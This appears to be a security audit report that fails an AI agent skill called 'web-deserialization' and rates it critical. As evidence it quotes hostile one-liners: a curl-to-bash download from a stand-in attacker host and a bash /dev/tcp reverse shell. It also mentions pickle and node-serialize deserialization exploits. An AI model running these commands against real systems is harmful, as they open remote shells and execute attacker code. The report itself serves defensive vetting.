web-deserialization
Fail
Audited by Gen Agent Trust Hub on Sep 19, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONEXTERNAL_DOWNLOADSDYNAMIC_EXECUTIONINDIRECT_PROMPT_INJECTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The
SKILL.mdfile and multiple platform guides contain command-line examples that download scripts from external URLs and pipe them directly into shell interpreters. - Evidence includes:
curl http://attacker/shell.sh|bashand variants involvingwgetandbase64decoding into a shell. - [COMMAND_EXECUTION]: The
payloads.mdandtest-cases.mdfiles, along with various guides, include multiple reverse shell payloads for different environments. - Evidence includes: Bash one-liners (
bash -i >& /dev/tcp/attacker/4444 0>&1), PowerShell reverse shells, and Python socket-based execution strings. - [EXTERNAL_DOWNLOADS]: The skill frequently references downloading tools, scripts, and payloads from untrusted or placeholder domains such as
http://attacker/orhttp://localhost:8000/. - [DYNAMIC_EXECUTION]: Extensive documentation is provided on techniques for achieving dynamic code execution via insecure deserialization, including:
- Python
pickleexploitation usingevalandexecinside__reduce__methods. - Node.js
node-serializeexploitation using IIFE (Immediately Invoked Function Expression) injection. - Use of
python3 -cto dynamically process and encode attack payloads. - [INDIRECT_PROMPT_INJECTION]: The skill inherently focuses on the ingestion of untrusted serialized data to manipulate application logic and execution context.
- Ingestion points: HTTP cookies, POST parameters, and API endpoints (detailed in
SKILL.md). - Sanitization: Documentation highlights the absence of sanitization in vulnerable targets as the primary exploit vector.
Recommendations
- CRITICAL: 2 infected file(s) detected - DO NOT USE
- HIGH: Downloads and executes remote code from: http://attacker/shell.sh|bash - DO NOT USE without thorough review
Audit Metadata